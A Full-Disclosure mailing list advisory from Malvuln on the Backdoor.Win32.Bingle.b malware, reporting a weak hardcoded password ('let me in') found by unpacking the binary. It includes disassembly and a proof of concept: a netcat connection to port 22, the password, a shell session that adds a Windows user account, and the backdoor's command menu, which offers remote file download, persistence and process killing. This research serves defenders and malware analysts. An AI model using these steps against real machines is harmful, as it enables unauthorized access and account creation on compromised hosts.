full-disclosure - [FD] Backdoor.Win32.Bingle.b / Weak Hardcoded Credentials

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Date: Sat, 24 Sep 2022 20:58:59 -0400
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.Bingle.b / Weak Hardcoded Credentials

Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
Original source:
https://malvuln.com/advisory/eacaa12336f50f1c395663fba92a4d32.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Bingle.b
Vulnerability: Weak Hardcoded Credentials
Description: The malware is packed using ASPack 2.11, listens on TCP port
22 and requires authentication. However, the password "let me in" is weak
and hardcoded within the PE file. Unpacking the executable, easily reveals
the cleartext password.
Family: Bingle
Type: PE32
MD5: eacaa12336f50f1c395663fba92a4d32
Vuln ID: MVID-2022-0643
Disclosure: 09/24/2022

004029A0                 call    sub_4010E0
004029A5                 add     esp, 0Ch
004029A8                 cmp     eax, ebp
004029AA                 jge     short loc_4029CC
004029AC                 mov     edi, [esp+eax*4+230h+var_21C]
004029B0                 mov     ecx, ebx
004029B2                 xor     eax, eax
004029B4                 repne scasb
004029B6                 not     ecx
004029B8                 sub     edi, ecx
004029BA                 mov     edx, ecx
004029BC                 mov     esi, edi
004029BE                 mov     edi, offset aLetMeIn ; "let me in"

Exploit/PoC:
C:\>nc64.exe x.x.x.x 22
let me in

 Nt Shell 1.0 beta by bingle@...il.com.cn
        Indicator '#' is NTShell Server output.
        Type ?help for support commands beyond cmd;
        ?use at command line for support parameters.

        Use 'net helpmsg xxx' to see detail message of Error Code.

C:\Users\Victim\Desktop>whoami
whoami
desktop-2c3iqho\victim

C:\Users\Victim\Desktop>net user hyp3rlinx 1313 /add
net user hyp3rlinx 1313 /add
The command completed successfully.

C:\Users\Victim\Desktop>?help
#?autorun [name file "args"] --- add the [file] to autorun when reboot,
                 [file] default is ntshell.exe
#?canceldata            --- abort the previous file transfer command
#?chdir <dir>           --- change the server current dir to <dir>,
                 can be UNC(share) name
#?get <file> [port]     --- GET <file> from server, server use [port] to
tranfer
#?help                  --- show this HELP
#?httpget <url> <file>  --- get the 'file' from 'url',
                eg:httpget http://192.168.0.1 /hackdir/hackprog.exe
#?pskill PID            --- Kill the Process with PID
#?pslist                --- List the all process in system
#?put <file> [port]     --- PUT <file> to server, server use [port] to
tranfer
#?quit                  --- QUIT the telnetd program
#?restart [<user> [pass]]       --- restart the shell as [user] in stead of
                IUSR_computer if [user] specified, no need to reconnect
#?sysinfor              --- Get the System os information

Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).
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